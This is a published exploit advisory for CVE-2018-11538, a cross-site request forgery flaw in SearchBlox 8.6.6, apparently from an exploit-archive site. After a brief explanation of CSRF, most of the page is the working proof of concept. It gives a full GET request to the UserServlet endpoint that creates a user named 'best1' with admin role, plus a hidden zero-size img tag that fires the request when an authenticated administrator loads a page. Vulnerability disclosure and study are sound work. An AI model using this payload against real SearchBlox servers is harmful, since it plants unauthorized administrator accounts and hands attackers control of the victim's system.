exploit the possibilities

SearchBlox 8.6.6 Cross Site Request Forgery

SearchBlox 8.6.6 Cross Site Request Forgery
Posted May 30, 2018
Authored by Canberk BOLAT, Ahmet Gurel

SearchBlox version 8.6.6 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2018-11538
MD5 | 0eeaad3e9e82aa7ced50d6a600e18b3c

SearchBlox 8.6.6 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: CSRF Privilege Escalation (Creation of an administrator
account) on SearchBlox 8.6.6
# Exploit Author: Canberk BOLAT, Ahmet GAREL
# Software Link: https://www.searchblox.com/
# Version: < = SearchBlox Version 8.6.6
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-11538

# 1. DETAILS

Using Cross-Site Request Forgery (CSRF), an attacker can force a user who
is currently authenticated with a web application to execute an unwanted
action. The attacker can trick the user into loading a page which may send
a request to perform the unwanted action in the background. In the case of
Searchblox, we can use CSRF to perform actions on the admin dashboard by
targeting an administrator.

# 2. PoC:

We assume that Searchblox is installed at http://localhost:8080/. Our
target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and
role parameter which is the page used to create a new user. The given POC
will create a user on the website which has full administrator privileges.

HTTP Request:

GET
/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser
HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/searchblox/admin/main.jsp?menu1=adm
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: JSESSIONID=touluja8tpjc1iiwquoyiigfi;
Connection: close
Upgrade-Insecure-Requests: 1

Attack Vector:

<img src="
http://target:8080/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser"
width="0" height="0">


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